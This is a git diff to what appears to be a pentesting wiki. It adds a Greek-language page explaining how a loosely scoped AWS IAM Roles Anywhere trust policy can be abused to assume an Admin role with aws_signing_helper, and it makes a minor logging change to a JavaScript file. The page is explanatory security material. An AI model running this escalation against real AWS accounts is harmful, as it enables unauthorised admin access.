diff --git a/src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-iam-roles-anywhere-privesc.md b/src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-iam-roles-anywhere-privesc.md new file mode 100644 index 000000000..0ba46b84c --- /dev/null +++ b/src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-iam-roles-anywhere-privesc.md @@ -0,0 +1,42 @@ +# AWS - IAM Roles Anywhere Privesc + +{{#include ../../../../banners/hacktricks-training.md}} + +AWS IAM RolesAnywhere επιτρέπει σε φόρτους εργασίας εκτός AWS να αναλαμβάνουν IAM ρόλους χρησιμοποιώντας πιστοποιητικά X.509. Αλλά όταν οι πολιτικές εμπιστοσύνης δεν είναι σωστά καθορισμένες, μπορούν να καταχρηστούν για κλιμάκωση προνομίων. + +Αυτή η πολιτική στερείται περιορισμών σχετικά με το ποιοι κόμβοι εμπιστοσύνης ή χαρακτηριστικά πιστοποιητικών επιτρέπονται. Ως αποτέλεσμα, οποιοδήποτε πιστοποιητικό συνδεδεμένο με οποιονδήποτε κόμβο εμπιστοσύνης στον λογαριασμό μπορεί να χρησιμοποιηθεί για να αναλάβει αυτόν τον ρόλο. +```json +{ +"Version": "2012-10-17", +"Statement": [ +{ +"Effect": "Allow", +"Principal": { +"Service": "rolesanywhere.amazonaws.com" +}, +"Action": [ +"sts:AssumeRole", +"sts:SetSourceIdentity", +"sts:TagSession" +] +} +] +} + +``` +Για privesc, απαιτείται το `aws_signing_helper` από https://docs.aws.amazon.com/rolesanywhere/latest/userguide/credential-helper.html + +Στη συνέχεια, χρησιμοποιώντας ένα έγκυρο πιστοποιητικό, ο επιτιθέμενος μπορεί να μεταβεί στον ρόλο με υψηλότερα δικαιώματα. +```bash +aws_signing_helper credential-process \ +--certificate readonly.pem \ +--private-key readonly.key \ +--trust-anchor-arn arn:aws:rolesanywhere:us-east-1:123456789012:trust-anchor/ta-id \ +--profile-arn arn:aws:rolesanywhere:us-east-1:123456789012:profile/default \ +--role-arn arn:aws:iam::123456789012:role/Admin +``` +### Αναφορές + +- https://www.ruse.tech/blogs/aws-roles-anywhere-privilege-escalation/ + +{{#include ../../../../banners/hacktricks-training.md}} diff --git a/theme/ai.js b/theme/ai.js index c94992d5f..13337c3f1 100644 --- a/theme/ai.js +++ b/theme/ai.js @@ -226,7 +226,7 @@ `threadId=${threadId}; Path=/; Secure; SameSite=Strict; Max-Age=7200`; } catch (e) { console.error("Error creating threadId:", e); - alert("Failed to initialise the conversation. Please refresh."); + console.log("Failed to initialise the conversation. Please refresh."); throw e; } }